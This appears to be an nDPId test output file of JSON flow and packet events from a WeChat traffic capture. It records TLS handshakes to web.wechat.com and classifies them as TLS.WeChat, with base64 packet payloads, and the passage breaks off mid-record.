+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":491,"source":"wechat.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1492167452759,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54099,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167452,"pkt_ts_usec":759446,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8XuFAAEAGtlvAqAFny82XotNTAbtWrkW6AAAAAKACchAjbQAAAgQFtAQCCAoAMRtbAAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":493,"source":"wechat.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1492167453010,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54100,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":10353,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8DstAAEAGBnLAqAFny82XotNUAbuiFhVRAAAAAKACchAILgAAAgQFtAQCCAoAMRuaAAAAAAEDAwc="} +00436{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":125561,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG701NWIPBqVq5Fu6ASN8jLwAAAAgQFoAQCCApF0gWaADEbWwEDAwc="} +00424{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":125650,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XuJAAEAGtmLAqAFny82XotNTAbtWrkW7ViDwa4AQAOUxAAAAAQEICgAxG7dF0gWa"} +00750{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":126120,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiXuNAAEAGtXPAqAFny82XotNTAbtWrkW7ViDwa4AYAOUnVwAAAQEICgAxG7dF0gWaFgMBAOkBAADlAwMB1JsivsRgj8yUUGC\/C0eM+z7uYBFdAkifuDVMARIokyD2Roioh3VliBz70\/MEuqHmVMPaLVlcE9C1qSXIt5UDlQAgCgrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8mpoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAI2toAHQAXABgqKgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":496,"source":"wechat.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":4,"flow_first_seen":1492167452759,"flow_last_seen":1492167453126,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54099,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00436{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":357624,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC4GJp3LzZeiwKgBZwG701Rfi5PhohYVUqASN8gDZQAAAgQFoAQCCApF0gXVADEbmgEDAwc="} +00425{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":357702,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0DsxAAEAGBnnAqAFny82XotNUAbuiFhVSX4uT4oAQAOVoqQAAAQEICgAxG\/FF0gXV"} +00424{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":494187,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA09Z1AAC0GMgfLzZeiwKgBZwG701NWIPBrVq5GqYAQAHgwIwAAAQEICkXSBfYAMRu3"} +02344{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":494952,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI9Z5AAC0GLHLLzZeiwKgBZwG701NWIPBrVq5GqYAQAHhYvwAAAQEICkXSBfcAMRu3FgMDAF0CAABZAwN6N5cNcKB+geZ586vm83PPhTrmXxNHenpMA7hzmZodZCDTV6G8D5hCzz2oy9LF\/fe7R79cAC6gdeTyhTkWLR5CJsAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":500,"source":"wechat.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":6,"flow_first_seen":1492167452759,"flow_last_seen":1492167453494,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54099,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":494995,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XuRAAEAGtmDAqAFny82XotNTAbtWrkapViD1\/4AQAPsprwAAAQEICgAxHBNF0gX3"} +02700{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":503112,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbM9Z9AAC0GK23LzZeiwKgBZwG701NWIPX\/Vq5GqYAYAHgsPgAAAQEICkXSBfcAMRu3i6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQSPkMfKw10jFMaRSAnXxd9r1t17LwS+aMPmApZZbfSXP0\/fWlyIToTneiL+QDMhsA1WoF5d0Su\/mCO4hAcQSFxxBgEBAFR74UoSL0b+jqsoSuKqGa4DlzExNf2fj\/VtLFzWfqyINaDl5rnJVFqEm08mNo0decbeQ0LfGXeY\/ZVKWLhL4oX2qYQuV0a6l5WWlz97kfhOzR0p2sFswTCjFWxqR25f3UG6vYLrXH9gMPcyuU2LcMcv94vbKGEE\/4iXgNeZ7ab1p+z1bK0+4FmgQjOZk\/qBByyRPrXhBO2SbqAXTdDQyFoS2lpbsxIo654dF5qMCX8Lyhk42vRVy4gvXoNtBxJqgsMJF2UcW3jbnuKu59F+PrIWN+MYhrKFPZQ0xjNi7muyFF6Iv8cXw0h7m5IHfZmBupLYosRzNZB16cjQPS4XnTUWAwMABA4AAAA="} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":502,"source":"wechat.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":8,"flow_first_seen":1492167452759,"flow_last_seen":1492167453503,"flow_tot_l4_data_len":3626,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":453,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54099,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":503170,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XuVAAEAGtl\/AqAFny82XotNTAbtWrkapViD8l4AQARUi+wAAAQEICgAxHBVF0gX3"} +00599{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":506267,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyXuZAAEAGteDAqAFny82XotNTAbtWrkapViD8l4AYARV8ugAAAQEICgAxHBZF0gX3FgMDAEYQAABCQQTAUPypt9xaHCSU1tnZVmstVn87nMzf1JxjuZz0Dcm\/IjiDmrcH8Xg1GCgransUMQVsGK3AuYrz2m\/ZIpTChkN3FAMDAAEBFgMDACgAAAAAAAAAAK4eB3OcBQ+sbR1xd9XV894cFoYH\/CR+gwJ4Wm5PTFbT"} +00499{"flow_id":32,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":870993,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABn9aFAAC0GMdDLzZeiwKgBZwG701NWIPyXVq5HJ4AYAHhfKgAAAQEICkXSBlUAMRwWFAMDAAEBFgMDAChEfqMDeLUua6RwlKh9qSN0\/\/E\/94R6G\/s4Y+xlw8mnUe4ch5s4cMck"} +02115{"flow_id":32,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":871867,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUMXudAAEAGsYXAqAFny82XotNTAbtWrkcnViD8yoAYARXoMgAAAQEICgAxHHFF0gZVFwMDBNMAAAAAAAAAAYYMnVn215PUdq8d5A7X8PLOGlQz2polfuAQ3FUIJ9lGkFNif7zjaAlJKSNvDLa1l7frU2vmd\/NudQN4C9KonaT0HdJer2PJoyJ5vjlMtu+BV1uuIjghTqywPqpPG\/3VYFjdNU7WVea1bGgQcx+iLCMjRaMEVmTiSwNgmsJ3sneuDMK3EtFcHto2RyYk8PJYeba+NlUEVRjM\/KZRdWBP3+FPivLgEs2puvmQJlPv5aaYWHeGBkEutrnwyC1UgbfAP0sNwQ9DWsuXkejXM70WB6cgghmlGaPJZO\/UL5nKLjsYfgtTRofjA+cAIS51hbNM5DdxzWvw0T6tTubw781TnmV4bB4hD4wcNPYBW\/snjLBkNsrb5s8djmkP3KZg3vJoJrrl6UsFZhpJR5js2JUs4OgMsWV3sRVY8eZN9elSQ\/Bxsv6HMxSj5WtX7pMuFANW+nvn\/XCxvvzx4J33GaDEJE70KBjkS38sVnsozCr1k8ciC0eDf5YmoeY4\/w54nrqVUdY\/fbDy2a5dml7fou0GvZx60HY8eL7repPY0Kv0psLbFT+rFeRJS8bRcDzhT4+ZZy0xKNWkvknqk5eAC3ehmwvMSjbvsFIS9z7N\/ShDUdErbWK8GwKQQx7krq+o4qiu\/t5XjcCkaT8rJ\/6GS6XVVAjD0ZBFt+OdVkFmpoYiBLD\/EH0lwtyReTwUhUspVj5iTdfnN0gm2Iv7JLg\/\/65bk2RZVNXD9l6\/9zKhitXuKbtAIRqiv1wanzVuXLR8PQVcdCRl68k52pA5yIVjaf97VzlmiXkOv21CvKG6KCkzyT3AfzFh+3DGW6f01WD\/+b4Tk42XOXcgG3uCMXjcDG8AR1FwIzrwhyDclvtnqktRaRotPptRbuKJuEjaAZRhYgtCq9H4UwRHIFrBBE02Tki+zuROi\/Yzj4FMU3Om1Aj3kmEBhBnJxBlMquYEGKc61gwrfsSHf5tg8PLxmT7Z5CY7cLqoOkA7PymH8hT81VBVMuQaVMIOTgU25fb+q1uNKPObt99XlqL+lIWiaRKVueBd\/eYH3TQ+zaaUvy74nOSosDllQdbfR98zEFddsRaq\/pNEPqFwoeQvn49q3NaUAJfbf4Be2mNsq2DXkBhlYgEv+hHcqPFrGnw\/VxoKYIKKp4MUrXwxWb+2pNsjNoCa39dBtZ51KsxwOR\/zHqPasR6N4ubVwOqnBt4eLWT0tGC+AlgoyapoRvM+tf3+xzo8FwHyVL8sKlK0ApF7ya7Tlsx6F5pCrX\/RN9hyYENkQcUoy4wSRrJuekkC3h7moIic0wy4DqPbYZJLu8fCTXms6sfQSusVofc2ln0b8TPXamvMm7P8rJ+8\/cMTioNguam3\/7vr4zV6uLDvO7tg9SySIF+UJiLPvdRrHRoNThsvKytBV6S17RMjArlOrjca9+MfO4fzVUZ3t9qk4jjs71OdX7xumafJl6Ofj3+5tdplIgCvOL0QwQnJwzm9hq2E+tc\/NYzi5Job7pbaQCgrSGMgatFSlOqyCEwy1XxhLn6x1I70bFfzbwFLZCWgsV0nu0n72pbLAzLAkv0U7SveK\/wBX2Fd2nmAgpjvZh6rToxWkDSxR25VYpfR\/w2rV2a4749McFGpOgoO1dPa6eRrBasPnQ=="} +01076{"flow_id":32,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167453,"pkt_ts_usec":875106,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"8IQvSpdgeJKcD6iOCABFAAIPXuhAAEAGtIHAqAFny82XotNTAbtWrkv\/ViD8yoAYARWb\/gAAAQEICgAxHHJF0gZVFwMDAdYAAAAAAAAAAvtBn\/6uM2YutXiUB5wx6pQKBAsPs+FjwAAZCxkj1AljGX0D+F2\/SNyVcVyOhBTnYSumM668nhfaJua9X+FOGxUdKBJg+KtZKDs3FeGACo+oAqydz3VoqqlnLVxtBjGLF8GmB2Qnl4VhOLT1CVz5XBh3\/IQGQBr6r\/fQKqsLwy58Na+v+FhwgW5JQ1OoaOpdtgg5CAFeDyo9B+ekVBh7JFpud90VWtjkk1AWDAy6BTCfK5jGdGejTJ62xw6R2IXZU4Cih\/j9Z3QufOBmKiFeKPKrcFZJgGH6q0e4dS1eHN0ENwku8CNqlBG97N9C2wtfivN0GXNwJNAmzAmWqEJAF\/NxeWV5OQxvZ4N+wvhYYluh4IV4LHBYSjFOwsxfJlMiLlJO0L1yfYgELS9u5AukWnkP1B0bVbIv8MHpETJx\/VXebC74dB8ILdszOjv4Rol\/IlqJ+HIxxoGaDd7Tf7wQRNloQthCHs5z+cTmSAwQ29CjKD6KdaRD6PB+P+\/9czo53yzA0GouBhO4hyjJxhdQHtp60IJP922x0k8WA3NkASGZ1jZz3MD49BOVN\/OvC3sbFaqEv7t0dv3OnxL8QEZvgw0C3S2f4Q4dCTYGELEqJA=="} +00425{"flow_id":32,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":249739,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA09aJAAC0GMgLLzZeiwKgBZwG701NWIPzKVq5N2oAQAJ8a9QAAAQEICkXSBrMAMRxx"} +02360{"flow_id":32,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167454,"pkt_ts_usec":342463,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI9aNAAC0GLG3LzZeiwKgBZwG701NWIPzKVq5N2oAQAJ9QIwAAAQEICkXSBsoAMRxxFwMDBqVEfqMDeLUubHjXDqL1UGRQa3G75vA0XsmSupA282tfARdwquGHO0x5nFxgFKbnCYJDxmMKCsvAz2QxIpIkSsWjSA0XHKqtn5Syh\/QaoPNVi9wCZYkxBpJV7UK4zzyujwMu2d0E+ek++odStLP7ZbZeDrXnDrVaMPXCZ5Mazlxhe6ExAN6oHuD9a0ysejEGQabofHOHqdDXXPcNq1QmIXC5X1nllUpgQBOC9iUPOU5U5HIg+tTXKYnp+RJLZ08hBIoccW93msjeus\/j9YR5FzO498dIfM9rNMRpvnJq6GhzCXdZanGdLt0NDF8vuPNMD31XlEXt+5G9RPKQ6\/ebEtXLpCeKIDLW5NBx0iOg069KSU\/JXA+5vujQSrDwRG8LcsKmXzUUDP9cvJ92tR2+SYQcWJC8jt0qwmF7bIcvXbYHprodmGziiT13Ukq7cvjuHcFPXAjg7UxQgwjP5lWfEzrO4n6e2Xw0YrMZTzdrf0zxtNaR+87fWgr3C76rxoje44DiKTEsHmzU0LwJ\/OXqtTmnDalkW6NwrQuL\/yZIyjXsQGk+pCEiqSoBfUZiVjhW2UA8cJFBwXrGQtwv4gUlQeMFW+GqkPiNa6ALKInJuNYhg9md+lKrE1GnrP4\/vqY4m7j7e8wIvavumhyI9qB5UfnzWnhXevsT2hrAn2Xx\/JIfGvt6n0O4m2\/1WGioGTZlIX5WKUfK9HYKZhYiX74Uv9G+nNfnuRZoGEtnqQjwcb\/fjEKox3elkYliJYs+DpNlDmeZIVg+kJk+1dDXunwlWCUrhr9UllyZZrJNMYT5xDzc8eVSTg+4hlotjxjwH5eKLfve4b\/79RInir0E5Vg4WGkwKVXGS\/h1tmj9lmeVv8cGa9lJChHtFMomY1YfmCxtdjdJg1DazDpNx4CBYkdM59IhDC5XeV5m5iV7JUHDjUHIiL6iW\/5lRB